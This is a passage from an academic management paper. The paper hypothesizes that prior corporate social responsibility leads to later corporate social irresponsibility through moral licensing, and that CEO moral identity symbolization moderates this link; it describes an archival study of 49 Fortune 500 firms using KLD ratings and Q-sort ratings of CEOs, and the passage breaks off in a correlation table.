the relationship will be stronger when CEOs are high on moral identity symbolization rather than low on moral identity symbolization. Through an archival study of 49 Fortune 500 firms, we find support for our hypotheses. In 2008, the CEO of British Petroleum (BP), Tony Hayward, announced that BP's safety record, which was one of his key foci as head of BP, was “now among the best in our industry” (BP, 2008). Under his leadership, BP ran operational safety training sessions for its employees and encouraged a culture of safety in an effort to attend to key stakeholders such as employees, the community, and the environment (Kolmar, 2007). However, in 2010, the Deepwater Horizon explosion shattered BP's positive safety record when managers missed key safety warning signs, resulting in the loss of 11 lives and creating the worst offshore oil spill in United States history (Jervis & Levin, 2010; Rogers, 2010). Moreover, Hayward's reaction to the spill was seen as cold and perceived as minimizing BP's responsibility for the spill as well as the environmental damage to the Gulf of Mexico (Korosec, 2010; Zarroli, 2010). Following from such instances of corporate wrongdoing, business practitioners and academics have dedicated increased attention to firms’ corporate social responsibility (CSR), which refers to firm behavior that goes beyond compliance or legal requirements to provide some social good (McWilliams & Siegel, 2001). One prominent approach to understanding CSR is the stakeholder approach in which a firm is deemed socially responsible when its actions attend to the interests of not only its shareholders but also other firm stakeholders (Branco & Rodrigues, 2006; Carroll, 1991, 1999; Godfrey & Hatch, 2007). Drawing on this stakeholder approach, researchers have focused on understanding the antecedents and consequences of CSR. For instance, top management team (TMT) demographics, values, sociocognitive traits, and firm attributes such as decentralization of decision making and research and development expenditures have all been identified as important antecedents to a firm's ability to manage the needs of multiple stakeholders (e.g., McWilliams & Siegel, 2001; Thomas & Simerly, 1994, 1995; Waldman et al., 2006; Wong, Ormiston, & Tetlock, 2011). In turn, research indicates that, on average, CSR is positively related to firm financial performance (for a review, see Margolis & Walsh, 2003; Orlitzky, Schmidt, & Rynes, 2003). Although this research has advanced our understanding of CSR, several important questions remain. First, although we have a better understanding of CSR and its benefits (e.g., increased firm financial performance), past research has rarely considered the negative consequences of engaging in CSR. Relatedly, we have less of an understanding of corporate social irresponsibility (CSiR; Lange & Washburn, 2012), which refers to actions that negatively impact the interests of stakeholders (Strike, Gao, & Bansal, 2006). The limited research on CSiR has considered how CSiR and CSR are related, with research finding that they can occur concurrently (e.g., Strike et al., 2006) or that CSiR is offset by subsequent CSR (e.g., Chatterji & Toffel, 2010; Kotchen & Moon, 2011; Muller & Kräussl, 2011). For instance, Chatterji and Toffel (2010) found that firms that received negative environmental ratings subsequently improved their environmental performance. Although such research helps us to better understand the relationship between CSiR and subsequent CSR, it does not consider whether CSR influences later CSiR. Returning to the BP example at the beginning of this paper, this literature provides little guidance to understanding the conditions under which BP's socially responsible behavior (i.e., increasing its safety record) might have subsequently increased its less responsible behavior (i.e., ignoring safety warnings and minimizing BP's responsibility). Second, studies examining CSR and CSiR have generally provided a firm‐level perspective of this relationship. However, given that strategic leaders (i.e., CEO and the senior executives who belong to the TMT) make strategic decisions about CSR, it is surprising how few studies explore the effect of top leaders on CSR (but see Thomas & Simerly, 1995; Wong et al., 2011), and only one study to our knowledge theorizes that strategic leaders affect CSiR actions (Pearce & Manz, 2011). Further, few researchers approach CSR from a social psychological perspective (Rupp, Williams, & Aquilera, 2011), even though applying these theories could elucidate when leaders’ personal characteristics influence the CSR–CSiR relationship. Therefore, important questions remain as to whether and when leaders influence the relationship between CSR and CSiR. In this paper, we address these questions by examining the relationship between CSR and CSiR. First, we study whether prior CSR affects subsequent CSiR. We approach this question through the lens of strategic leadership, which suggests that leaders influence organizational strategy and in turn firm outcomes (e.g., Finkelstein & Hambrick, 1996) such as CSR and CSiR. Specifically, we focus on the effects of strategic leaders’ psychological processes on CSiR. We draw on moral licensing research to argue that top leaders who have previously implemented CSR strategies will glean moral credits from this past behavior, which leads them to develop a strategy that mistreats firm's stakeholders. Second, we consider the moderating role of leader characteristics on this relationship. Although moral licensing research consistently shows a positive relationship between moral behavior and subsequent immoral behavior, recent research suggests that this relationship may be affected by individual differences (Mulder & Aquino, in press; Zhong, Ku, Lount, & Murnighan, 2010). One relevant individual difference is moral identity symbolization, or the degree to which being moral is expressed outwardly to the public through actions and behavior (Aquino & Reed, 2002). We argue that leaders’ moral identity symbolization moderates the relationship between prior CSR and CSiR. Our study furthers research on strategic leadership, CSR, moral licensing, and moral identity by examining the effect of strategic leaders’ psychological processes and personal characteristics on CSiR in publicly traded firms. The Influence of Prior Corporate Social Responsibility on Corporate Social Irresponsibility Over the past few decades, firm stakeholders, including shareholders, consumers, and employees, have put increasing pressure on firms to manage their interests; in other words, firms are increasingly expected to heed the calls of their multiple stakeholders. When firms are able to successfully manage these myriad demands, they are deemed socially responsible (Freeman, 1984). As business practitioners’ demands and academics’ understanding of CSR have become finer grained, so too have the definitions of CSR. Greenwood (2007) suggests CSR exists along a continuum anchored at one end by firms that actively engage with and act in the interest of varied stakeholders (i.e., are responsible) and anchored at the other end by firms that have more limited interactions with and may act in the interest of only powerful stakeholders (i.e., are irresponsible). Others have argued that although responsibility and irresponsibility are related constructs, they are distinct and thus should not be considered as opposite ends of the same continuum (Kotchen & Moon, 2011; Mattingly & Berman, 2006; Oikonomou, Brooks, & Pavelin, 2012; Strike et al., 2006). This more recent distinction between CSR and CSiR highlights that they both involve action toward stakeholders and that firms can potentially engage in both CSR and CSiR. We adopt this view and consider stakeholder management to involve both CSR, or actions that attend to the interests of multiple stakeholders beyond just shareholders (Branco & Rodrigues, 2006; Carroll, 1991, 1999; Godfrey & Hatch, 2007), as well as CSiR, or actions that negatively affect stakeholders (Strike et al., 2006). Examples of CSR include charitable giving within a community, providing employees flexible work arrangements such as flextime, and ensuring the quality of consumer goods. Examples of CSiR include actions that have resulted in controversies concerning the firm's economic impact on the community, gender discrimination, and designing and selling unsafe products and services (Kaptein, 2008). In short, the more positive actions toward its stakeholders, the more socially responsible a firm is deemed, whereas the more negative actions toward its stakeholders, the more socially irresponsible a firm is deemed (Strike et al., 2006). Given these distinctions between CSR and CSiR, a growing body of research has sought to understand and clarify their relationship. In a first examination of the CSR–CSiR relationship, Strike and colleagues (2006) found that international diversification led to both CSR and CSiR, suggesting that firms could simultaneously be responsible and irresponsible toward their stakeholders. Additional evidence for this relationship can be drawn from Mattingly and Berman (2006), who found that environmental CSR was positively correlated with concurrent environmental CSiR. They noted, “perhaps firms that tend to adopt environmentally friendly programs are often those that tend also to cause harm or to extract from it” (p. 34) and suggested that further research into this positive correlation between CSR and CSiR was needed. Other research finds that socially irresponsible behavior (i.e., CSiR) sets the stage for subsequent socially responsible behavior (i.e., CSR; e.g., Chatterji & Toffel, 2010; Kotchen & Moon, 2011; Muller & Kräussl, 2011). For example, Muller and Kräussl (2011) found that companies with poor social reputations were more likely to make disaster relief donations after Hurricane Katrina than were companies with positive social reputations. The key argument underlying these studies is that firms offset their negative reputation by engaging in CSR. Although this research has been instrumental in augmenting our understanding of why CSiR influences CSR, researchers have yet to explore whether the opposite relationship occurs such that CSR influences CSiR. In addition, although previous research on the link between CSR and CSiR has primarily taken a firm‐level approach, we propose that a more micro‐level approach would be useful to disentangle the linkages between CSR and CSiR. In this paper, we draw upon strategic leadership theory and psychological licensing research to examine the role of strategic leaders’ psychological processes and personal characteristics on CSiR. Below, we briefly review these approaches. With regard to the strategic leadership approach, one fundamental tenet is that leaders (e.g., the CEO and senior executives who comprise the TMT) typically make decisions regarding the firm's strategic direction, including social performance policies (Finkelstein & Hambrick, 1996; Hambrick & Mason, 1984; Thomas & Simerly, 1994; Wood, 1991). Thus, we approach our understanding of how CSR relates to CSiR through an examination of the ways in which leaders’ strategic decisions regarding CSR relate to their subsequent CSiR decisions. Research on psychological licensing can help us understand how leaders’ strategic decisions regarding CSR can influence later CSiR. Psychological licensing refers to perceiving that one can behave in a potentially socially undesirable way without fear of discrediting his or her self‐image (Miller & Effron, 2010). Whether an individual feels licensed or not is based on one's past behavior (Monin & Miller, 2001). For instance, having been a healthy eater for 11 months out of the year, one may feel licensed to indulge during the holiday season. In this way, one can still feel as though they are a healthy person because the 11 months of healthy eating bolsters one's self‐image and, therefore, diminishes the risk of discrediting him‐ or herself as an unhealthy person. The concept of licensing in moral domains (termed moral licensing) is germane to our focus on CSiR. Moral licensing is the psychological process that leads people to engage in morally questionable behavior after having previously engaged in socially desirable behavior. According to moral licensing research, people desire to maintain a positive moral image not only to others but also to themselves (Mazar, Amir, & Ariely, 2008; Monin & Jordan, 2009; Monin & Miller, 2001). Therefore, they want to avoid engaging in actions that are morally discrediting or that signal to themselves or others that they are unethical (Monin & Miller, 2001). As in the case of general psychological licensing, when determining if an action will be morally discrediting, people look to their past behavior, and if “people can call to mind previous instances of their own socially desirable or morally laudable behaviors, they will feel more comfortable taking actions that could be seen as socially undesirable or morally questionable” (Miller & Effron, 2010, p. 118). A number of studies have shown that moral behavior leads to morally questionable behavior at the individual level. In one of the first demonstrations of this effect, Monin and Miller (2001) found that people who were given the opportunity to disagree with sexist statements (e.g., “Most women are better off at home taking care of the children”) were subsequently more likely to make a sexist decision about who to recruit for a manufacturing job. Monin and Miller termed this process of non‐prejudiced attitudes (i.e., socially desirable behavior) subsequently leading to prejudiced attitudes (i.e., morally questionable behavior) as “moral licensing.” This study highlights that moral licensing is domain specific such that engaging in moral behavior in one domain leads to immoral behavior in the same domain. Although a large body of research has demonstrated the domain‐specific nature of moral licensing, recent research also shows non‐domain specific moral licensing can occur such that being ethical in one domain licenses a person to be less ethical in another domain. Mazar and Zhong (2010) show that prior moral behavior (i.e., environmentalism) can lead to morally questionable behavior (i.e., giving less to charity) as well as clearly immoral behavior (i.e., lying in order to receive a greater payout). As applied to our research, these studies are important in that, first, moral licensing is argued to have occurred when moral behavior leads to either morally questionable behavior or clearly immoral behavior, and second, it can be either domain or nondomain specific. Not only does one's own past moral behavior license someone to subsequently engage in immoral behavior, but moral licensing research finds that people use the actions of their ingroup, or similar others, as a guide for their own future behavior. Drawing on research on identity and vicarious self‐concept theory (Goldstein & Cialdini, 2007), Kouchaki (2011) suggested that people incorporate aspects of important others into their own self‐concept and use others’ moral behavior to define who they are. Consequently, when ingroup members behave in a moral manner, individuals internalize this moral behavior as their own and feel licensed to engage in morally questionable behavior. The previously discussed findings on moral licensing give rise to the question of why people feel licensed to engage in immoral behavior after previously engaging in socially desirable behavior. One reason may be that moral behavior is like a monetary currency (or creates moral credits) that can be banked and then drawn on when one engages in less moral behavior (Sachdeva, Iliev, & Medin, 2009). Nisan's (1990, 1991) moral balance model first discussed this notion of moral credits, arguing that individuals aim to maintain moral balance (i.e., balance between good and bad deeds) and use past behavior to determine their balance. After a person feels he or she has engaged in enough moral behavior to achieve moral balance, they are subsequently more likely to engage in immoral behavior. This inconsistent behavior (i.e., immoral behavior after moral behavior) is thought to stem from people's tendency toward self‐interest (desire to be less moral) on the one hand and their tendency to behave according to social norms (desire to appear moral) on the other hand (Beruchashvili, Gentry, & Price, 2006; Nisan, 1990; Sachdeva et al., 2009). In a series of survey studies, Nisan (1991) found support for the moral balance model. We draw on Nisan's moral balance argument to suggest that, after making strategic CSR decisions, leaders are more likely to engage in unethical behavior because of the moral credits they believe they have accumulated. In summary, this past research has been instrumental in augmenting our understanding of moral licensing at the individual level within experimental settings; however, researchers have not explored whether and when moral licensing occurs within organizational contexts. The importance of studying moral licensing in an organizational context can be drawn from a recent study by Castilla and Benard (2010), which examined gender discrimination. In a set of scenario studies they found that meritocratic organizational values led participants to make gender‐biased decisions about bonuses. Castilla and Benard were not explicitly speaking to moral licensing research; however, their findings are in line with this research area and warrant further investigation of moral licensing at the organizational level. Although research has yet to examine moral licensing at the organizational level, we propose that, because top leaders influence firms’ strategic decision‐making processes (Finkelstein & Hambrick, 1996; Finkelstein, Hambrick, & Cannella, 2009), the implementation of a CSR strategy will license them to engage in organizational wrongdoing. Specifically, given that people desire to appear moral, top leaders may feel pressure to develop socially responsible strategies that consider the needs of multiple stakeholders. The development and implementation of a CSR strategy may help leaders create a moral image of themselves and their firm, and ultimately provide a sense of accumulated moral credits. For instance, prior to the Enron scandal, former CEO Kenneth Lay endowed chaired positions at universities as well as donated vast amounts of money to charity (Philanthropy News Digest, 2001). Indeed, “upon his taking the helm of the corporate merger that resulted in Enron, Lay became a big player in the charitable and philanthropic environment of Houston, the state, and the nation” (Non‐Profit Quarterly, 2006). Such behavior on the part of the leader builds his social responsibility credits, which may license him to commit socially irresponsible behavior in the future. In other words, top leaders may feel that when they have acquired moral credits through a CSR strategy that balances the needs of multiple stakeholders, they can then put forth a strategy that cuts corners or is potentially harmful to stakeholders. A second route that prior CSR could lead to CSiR is through employees’ reactions to their leader's previous CSR strategy. Recall that when a person feels strongly identified with another individual or group, he or she internalizes their past moral behavior and subsequently is more likely to engage in unethical behavior (Kouchaki, 2011). Applied to organizations, employees who identify with their organizational leaders may feel that the prior CSR strategy set by these leaders licenses them to be less careful in their relationship with stakeholders. For example, recall Hayward's implementation of a safety culture at BP. BP employees may have felt that Hayward's actions and more broadly the firm's reputation for being safety conscious carried over to them and they may subsequently have been less careful about monitoring key safety warning signs. In sum, we argue that top leaders are in charge of making key strategic decisions that influence firm outcomes and that when they implement a CSR strategy it helps them accrue moral credits. These moral credits allow them to be less vigilant toward managing stakeholder needs or even engage in unethical behavior without discrediting themselves or their organization. Moreover, employees may feel licensed to engage in unethical behavior toward stakeholders because they have categorized their leader as part of their ingroup and internalized their past CSR action. Formally, we propose: Hypothesis 1: Prior CSR is positively associated with subsequent CSiR. The Influence of CEO Moral Identity Symbolization on the CSR–CSiR Relationship Although moral licensing research has found that individuals are generally inclined to engage in morally questionable behavior after having engaged in socially desirable behavior, this process runs counter to the fundamental psychological finding that people desire consistency in their beliefs and behaviors (Audia, Locke, & Smith, 2000; Bem, 1972; Festinger, 1957). Thus, recent calls to examine when licensing occurs and whether some people remain consistent in their moral behavior across time have been issued (Merritt, Effron, & Monin, 2010). In other words, it is important to understand when inconsistency trumps people's basic desire for consistency. Some boundary conditions to moral licensing have been suggested, with Mulder and Aquino (in press), for instance, proposing that an individual difference, moral identity, influences the consistency of moral behavior across time. Moral identity is the extent to which being moral is central to one's sense of self (Aquino & Reed, 2002; Blasi, 1984). It is comprised of two components: internalization, which refers to the degree to which moral identity is central to one's sense of self and is privately expressed, and symbolization, which refers to the degree to which moral identity is expressed outwardly to the public through actions and behavior (e.g., Aquino & Reed, 2002; Mayer, Aquino, Greenbaum, & Kuenzi, 2012; Reed & Aquino, 2003). Given our focus on leader moral action (e.g., CSR strategy implementation), rather than the leader's internal moral state, we examine how leader moral identity symbolization affects the relationship between prior CSR and CSiR. Individuals higher on moral identity symbolization engage in activities and behaviors that signal to others that they are moral beings. These individuals may signal their morality through actions because of a genuine desire to communicate the importance of their moral identity. Alternatively, they may engage in moral behaviors because of a self‐interested desire to present themselves in the most positive light as well as manage others’ impressions of them (Bolino, 1999; Goffman, 1959; Winterich, Aquino, Mittal, & Swartz, 2012). In other words, individuals high on moral identity symbolization may engage in moral actions to either highlight their true morality or instead to mislead people about the value they place on morality (i.e., their moral actions may be insincere). Conversely, individuals who are lower on moral identity symbolization make little effort to signal to others that morality is important to them and may even engage in behavior that signals that morality is not valued.1 To formulate our arguments regarding the impact of a leader's moral identity symbolization on the CSR–CSiR relationship, we draw upon Mulder and Aquino's (in press) study that examined the role of moral identity internalization in the relationship between past and subsequent moral action. They found that individuals high on moral identity internalization were less likely to donate money to a charity after previously telling the truth than were individuals low on moral identity internalization who instead remained consistent in their behavior (i.e., they donated money to a charity after previously telling the truth). To explain these seemingly counterintuitive effects, Mulder and Aquino draw on control theory (Carver & Scheier, 1982; Weiner, 1948) to suggest that attaining a moral standard (i.e., a goal of being moral) is more important for individuals high on moral identity internalization than for individuals low on moral identity internalization. When individuals high on moral identity internalization have not met, or, conversely, have surpassed their moral standard, they engage in “discrepancy reduction efforts” (Karoly, 1993, p. 33) to achieve balance between their current and desired moral state. And when individuals high on moral identity internalization have met their moral standard (i.e., satisfied their goal), they focus on other goals, even goals that may result in less ethical behavior. Mulder and Aquino suggest that these efforts to meet a moral standard are what results in either moral cleansing (when individuals high on moral identity internalization have previously engaged in immoral behavior) or moral licensing (when individuals high on moral identity internalization have previously engaged in moral behavior). Although Mulder and Aquino (in press) studied moral identity internalization, their findings provide a foundation for thinking about the role of moral identity symbolization in the CSR–CSiR relationship. We draw upon their consideration of control theory to explore how moral identity symbolization affects the CSR–CSiR relationship. Recall that moral identity symbolization may or may not accurately reflect a person's internalized moral identity. In other words, an individual who is high on moral identity symbolization may engage in moral action simply to present him‐ or herself in a positive light and to manage others’ impressions of them. Therefore, we argue that those high on moral identity symbolization may be more focused on monitoring their behavior to determine if they have accumulated enough moral credits than will those who are low on moral identity symbolization. Further, they will look for signals in their environment that communicate whether they have gleaned enough moral credits to appear moral or not. Given that Mulder and Aquino (in press) find that referencing one's past actions is central to guiding future behavior, one key signal for leaders is prior CSR. First, we consider the case of high levels of prior CSR. High levels of past CSR should signal to leaders with high moral identity symbolization that they have met their moral standard of appearing moral to others. In other words, these leaders will perceive that their past symbolic gestures of morality (i.e., prior CSR) have bolstered their moral credits. As such, this goal of appearing moral will be less accessible or active for leaders high on moral identity symbolization, causing them to engage in fewer symbolic acts that signal their moral image to others. Instead, they may attend to other goals that may have been ignored (e.g., shareholder wealth), potentially resulting in unethical stakeholder management (e.g., harming the environment in an effort to increase profits for shareholders). Alternatively, comparing their current state to a moral standard will not be as important to leaders low on moral identity symbolization. Instead, they are likely to focus on other goals that are more central to their self‐definition. Therefore, leaders low on moral identity symbolization will not be as reactive to past CSR and instead will be more likely to remain consistent in their strategies toward stakeholders, irrespective of past CSR. Next, we consider the case of low levels of prior CSR. In this case, leaders with strong moral identity symbolization will feel that their current state does not meet their standard of appearing moral to others. In other words, they have not accrued enough moral credits to satiate their need to appear moral to themselves and others. Past research finds that when an individual's moral identity is threatened, and thus the desire to meet this moral standard is heightened, he or she will engage in ways to self‐symbolize a positive moral image (Burke, 1991; Skarlicki, Van Jaarsveld, & Walker, 2008). We predict that leaders high on moral identity symbolization may be more likely to attend to this signal and actively work to be viewed as socially responsible by stakeholders. One way in which this may occur is through reduced wrongdoing toward stakeholders. For example, the CEO may publicly communicate to employees that wrongdoing toward stakeholders is unacceptable. On the other hand, as mentioned above, because appearing moral will be less important to leaders low on moral identity symbolization they will engage in the same level of CSiR, irrespective of past CSR. Hypothesis 2: Moral identity symbolization moderates the relationship between prior CSR and CSiR, such that the relationship between CSR and CSiR is more positive when CEOs are high on moral identity symbolization rather than low on moral identity symbolization. Method Sample We tested our predictions in a business context using a sample consisting of 49 publicly traded Fortune 500 organizations. The organizations examined in this paper were taken from a larger study examining the relationships among CEO characteristics, TMT processes, and firm performance during the time period 1996–2002 (see Wong et al., 2011, for details on the sampling process). Following Wong and her colleagues (2011), because of the qualitative nature of this study, we only examined firms from the 2002 Fortune 500 list that had a reasonable amount of media coverage (i.e., at least 10 articles of approximately 1,000 words of media coverage during our time period). From this process, the list was narrowed to 65 firms. For each of these 65 firms we then collected articles in the business press and books that described the behavior and personality of each firm's CEO. In order to be included in the sample, there needed to be sufficient information on the CEO to be able to complete an assessment using the California Adult Q‐sort, a forced distribution methodology that allows description of a person using first and third party data (CAQ; Block, 1961; Peterson, Smith, Martorana, & Owens, 2003). We used similar guidelines as those used to collect articles for previous at‐a‐distance research (i.e., at least 10 articles of approximately 1,000 words of media coverage during our time period; Peterson et al., 2003; Tetlock, Peterson, McGuire, Chang, & Feld, 1992; Wong et al., 2011). This narrowed our sample to 55 CEOs. Finally, we collected CSR and CSiR data on each firm. Due to missing data, our final sample included 49 organizations. For the organizations that had multiple CEOs during the 1996–2002 time period, we selected those CEOs who were in office during the latter part of our time period.2 The organizations in our sample represented a range of industries (e.g., retail, computer manufacturing) and had an average of $4.0 billion in sales and 138,429 full‐time employees. Examples of organizations in our sample include International Business Machines, Inc., Nike, Inc., and PepsiCo, Inc. Measures Independent variable: CSR Our measure of CSR was obtained from Kinder, Lydenberg, Domini Inc.'s (KLD) social ratings, which is a commonly used measure of CSR that is considered to be a comprehensive measure of multiple stakeholders’ needs (e.g., Agle, Mitchell, & Sonnefeld, 1999; Kotchen & Moon, 2011; Strike et al., 2006). KLD ratings examine both positive action (i.e., strengths) and negative action (i.e., concerns) toward a variety of stakeholders. It should be noted that CSR is often measured as an aggregate of the KLD scores that subtracts KLD concerns from KLD strengths (Graves & Waddock, 1994; Hillman & Keim, 2001; Thomas & Simerly, 1995). However, recent research has suggested that KLD strengths and KLD concerns should be examined separately (e.g., Kacperczyk, 2009; Mattingly & Berman, 2006; Strike et al., 2006). Following Strike and colleagues (2006), we utilize KLD strengths to measure CSR and KLD concerns to measure CSiR. The KLD strength ratings are generated by ascertaining a firm's strengths along seven key stakeholder benchmarks (community relations, diversity, employee relations, environment, product, corporate governance, and human rights). Each benchmark is composed of multiple sub‐indicators. For each of these sub‐indicators, organizations are assigned a dichotomous rating of 1 or 0 for the presence of a CSR strength. For example, for the employee relations benchmark, a CSR strength is when the organization has a history of strong union relations. For the community relations benchmark, an example of a CSR strength is the organization consistently gives more than 1.5% of its net earnings to charity. To obtain our measure of CSR we averaged each firm's KLD strengths scores for the seven benchmarks (Deckop, Merriman, & Gupta, 2006; Wong et al., 2011). Past research on CSR has found significant industry effects (e.g., Waddock & Graves, 1997), and therefore, following Agle et al. (1999) and Waldman, Siegel, and Javidan (2006), we controlled for firm industry by subtracting the industry mean from the CSR score for each firm. In this study, we used KLD strengths data from 2001 to 2002 to create our CSR measure. Following Agle and his colleagues (1999), we smoothed the data by averaging across the 2 years. The average CSR score adjusted for industry was .48 (SD = .43). The higher the CSR score the more positive actions a firm engaged in toward its seven stakeholders. Independent variable: Moral identity symbolization The most common method utilized to assess moral identity is self‐report measures of the importance of moral traits in terms of centrality to self‐definition (internalization) as well as the extent to which one's behaviors emblemize these traits (symbolization; Aquino & Reed, 2002). Aquino and Reed (2002) developed a list of nine traits that describe a moral person: caring, compassionate, fair, friendly, generous, helpful, hardworking, honest, and kind. This list of traits is not meant to be exhaustive but rather representative of a moral person. In their study, participants were asked to imagine how a person who represented these traits would think, feel, and act and then respond to five items measuring internalization (e.g., “Being someone who has these characteristics is an important part of who I am”) and five items measuring symbolization through the behaviors, activities, and organizational memberships that reflected these traits (e.g., “I am actively involved in activities that communicate to others that I have these characteristics”). They correlated these self‐report scales with other methods of moral identity assessment including judges’ ratings of morality based on individuals’ descriptions of their personality and found for example that self‐ratings on moral identity symbolization were positively correlated with third party morality ratings (Study 4). Thus, Aquino and Reed not only identify moral identity traits but also indicate that third party observers can reliably assess moral identity symbolization. With regard to our study, because top leaders typically do not submit to lengthy psychological tests (Hambrick, 2007; Sumanth & Cable, 2011), we adapted the measurement method Aquino and Reed (2002) utilized in their fourth study by obtaining judges’ ratings of leaders’ moral identity symbolization based on publicly available information on their personal characteristics (i.e., behavior and personality). Specifically, we employed a Q‐sort methodology. The Q‐sort methodology asks evaluators to observe or read information on a person, group, or organization and then rank a set of statements or items in terms of how characteristic they are of the person (i.e., California Adult Q‐sort; Block, 1961), group (Group Dynamics Q‐sort; Peterson, Owens, Tetlock, Fan, & Martorana, 1998), or organizational culture (Organizational Culture Q‐sort, O'Reilly, Chatman, & Caldwell, 1991). One of the strengths of the Q‐sort methodology is that it combines “the descriptive richness of the qualitative approach with the rigor of a quantitative approach by creating a common data language” (Peterson, Owens, & Martorana, 1999, p. 107) that allows for comparisons among individuals, groups, or organizations across time and situations. Moreover, it is possible to utilize publicly available information to conduct the Q‐sort, thus allowing measurement of individuals or groups that are normally difficult to examine (Peterson et al., 1999). Because we were interested in examining individual leaders, we utilized the California Adult Q‐sort (CAQ; Block, 1961), which is composed of 100 items that describe an individual. Sample items from the CAQ include “Behaves in an assertive fashion; not afraid to express opinions; speaks up to get what s/he wants” and “Has a rapid personal tempo; behaves and acts quickly; is fast‐paced.” Research assistants, who were blind to the study's hypotheses, independently reviewed publicly available interviews and biographies of each CEO in our sample and then rated him/her in terms of each of the 100 items by sorting them into those that were most characteristic and least characteristic of the CEO. Our measure of moral identity symbolization was composed of seven CAQ items that were representative of moral traits (Aquino & Reed, 2002). The seven items of our moral identity symbolization scale were “Is dependable and responsible (CAQ item 2),” “Is giving, generous toward others (regardless of the motivation) (CAQ item 5),” “Behaves in a sympathetic and considerate manner (CAQ item 17),” “Is productive, gets things done (CAQ item 26),” “Has warmth; has capacity for close relationships, compassionate (CAQ item 35),” “Makes moral judgments; judges self and others in terms of right and wrong (regardless of the nature of the moral code, whether traditional or liberal) (CAQ item 41),” and “Behaves ethically; has a personal value system and is faithful to it (CAQ item 70).” These items overlap with Aquino and Reed's (2002) traits of caring, compassionate, kind, friendly, generous, helpful, hardworking, honest, and fair. For instance, Aquino and Reed's traits caring, compassionate, kind, friendly, and helpful relate to the CAQ items that focus on warmth, capacity for close relationships, sympathetic, considerate, and giving. Aquino and Reed's trait hardworking relates to the CAQ items that focus on being dependable and responsible, and being productive. Finally, Aquino and Reed's traits fair and honest can be seen in the CAQ items that mention morality and ethical behavior. The mean moral identity symbolization score was 6.68 (SD = .75) and was highly reliable (α = .81). The specific procedure for the CAQ is as follows. We first collected qualitative information on each CEO in our sample from books as well as the business press. To compile these information packets we searched for interviews, speeches, biographies, and autobiographies in the business press (e.g., Business Week, Fortune, and Forbes) and books that discussed the CEO's background, behaviors and personality. Each packet included biographies on the CEO from Marquis Biographies and the International Directory of Business Biographies, as well as multiple articles or interviews from the varied sources mentioned above. Articles or book chapters had to be at least 1,000 words in length to be included in the packet. Packets (i.e., total pages of articles) were required to be at a minimum 20 pages and at a maximum 50 pages (procedure adapted from Peterson et al., 2003). Research assistants were trained in a series of sessions. They were asked to read through a CEO's packet and write in the margins or mark areas that seemed of particular significance to the CAQ items. After reading through the packet, research assistants were asked to describe the CEO along the 100 CAQ items. Research assistants were told to rely on the information from the packet when making their assessments and disregard any prior knowledge or preconceived notions of the CEO. The specific procedure is as follows: Research assistants began the process by sorting the cards into three stacks, starting with Item 1. Each of the 100 CAQ items is presented on a 2×3 card, which was obtained from Mind Garden, Inc. In the first stack, coders placed those cards for which the qualities or traits were least characteristic of the CEO. In the second stack, research assistants placed all cards for which the qualities or traits were moderately characteristic of the CEO. And finally, the third stack included all cards for which the qualities or traits were most characteristic of the CEO. For this initial card sort, the research assistants were told that no attention needed to be paid to the number of cards falling into each grouping. Once the three stacks had been established, the coders were then told to further differentiate the items, or cards, into more categories, placing the least characteristic statements at one end and the most characteristic statements at the other until the items were rank ordered into one of nine categories that ranged from 1 = most uncharacteristic to 9 = most characteristic. Because the CAQ follows a forced distribution, research assistants were told to place fewer cards in the extremes (i.e., only five CAQ items can be rated a 1 and only five CAQ items can be rated 9) and more cards in the center categories (i.e., 18 CAQ items can be rated a 5). This process is advantageous compared to standard scale‐based measurements because it increases interrater reliability as well as the predictive power of the measure. At least two research assistants independently reviewed a CEO's qualitative packet and then individually rated the CEO on the 100 CAQ items. Our interrater reliability on our sample of 49 organizations ranged from α = .71 to α = .97 with an average of α = .84 (SD = .06). Thus, the research assistants’ scores were averaged to create one CAQ sort per CEO. Dependent variable: CSiR As with our measure of CSR, our measure of CSiR was obtained from KLD's CSR ratings, specifically the KLD concerns. The KLD concerns ratings are generated by ascertaining a firm's concerning behavior in relation to the same seven key stakeholders (community relations, diversity, employee relations, environment, product, corporate governance, and human rights), with each stakeholder benchmark composed of several sub‐indicators. For each of the stakeholder benchmark sub‐indicators, organizations are assigned a dichotomous rating of 1 or 0 for the presence of a CSR concern. For example, for the employee relations benchmark, a CSR concern is when the organization has poor union relations. For the community relations benchmark, an example of a CSR concern is the organization has engaged in controversial behavior that has negatively impacted a community's economics (e.g., reducing property value within a community). Following previous research (e.g., Strike et al., 2006), we averaged the KLD concerns scores along the seven key stakeholder benchmarks to measure CSiR. In addition, we controlled for firm industry by subtracting the industry mean from the CSiR score for each firm (Agle et al., 1999; Waldman, Siegel, & Javidan, 2006; Wong et al., 2011). In this study, our dependent variable was comprised of KLD concern data from 2003 to 2004 in order to cover the 2 years after the measure of our independent variable (i.e., CSR). However, additional analysis of time lags ranging between 1 and 4 years for our dependent variable indicate the same pattern of results. Following Agle and his colleagues (1999), we smoothed the data by averaging across the 2 years (i.e., 2003 and 2004). The average social irresponsibility score adjusted for industry was .50 (SD = .44). The higher the CSiR score, the more a firm engaged in negative actions toward the seven stakeholders. Control variables Previous research on social responsibility has found that it is related to firm financial performance (e.g., return on assets; see Margolis & Walsh, 2003 for a review). Thus, we control for industry‐adjusted firm financial performance using firm return on assets (Agle et al., 1999) averaged over the sample time period. In addition, following David and colleagues (2007) and Waldman, Siegel, and Javidan (2006), we control for industry‐adjusted CSiR over the sample time period. Researchers have also noted the possible effects of firm size, and therefore we control for firm size (log of the average sales over the sample time period; e.g., Finkelstein & Hambrick, 1990; Graves & Waddock, 1994; Waddock & Graves, 1997). Following Waldman, Siegel, and Javidan (2006), we also control for CEO tenure (logged). Finally, because our CAQ packets varied in the number of pages, we control for packet length (in pages, logged). Industry data were collected from Dun & Bradstreet's Industry Norms and Key Business Ratios, firm data were obtained from COMPUSTAT, and data for CEO tenure were obtained from Dun and Bradstreet's Book of Corporate Managements. Results Table 1 presents the means, standard deviations, and correlations among the study variables. Before analyzing our data, we examined the variance inflation factor (VIF) for all variables in our model to check for multicollinearity. The highest observed VIF score in our study variables was 1.61, which suggests that multicollinearity was not a problem as this value is well below the conventional cutoff of 10.00 (Neter, Wasserman, & Kutner, 1989). Table 1. Descriptive Statistics and Correlations Variables Mean SD 1 2 3 4 5 6 7 1. CAQ packet length (in packet length) 3.61 .31 2. CEO tenure (in tenure) 2.84 .90 −.19 3. Firm size (in sales) 23.97 .96 .14 .08 4. Prior return on sales, industry adjusted (1996–2002) 1.66 5.93 −.09 .38* −.10 5. Prior CSiR, industry adjusted (1996–2002) .27 .38 .12 .02 .59** –.15 6. Prior CSR, industry 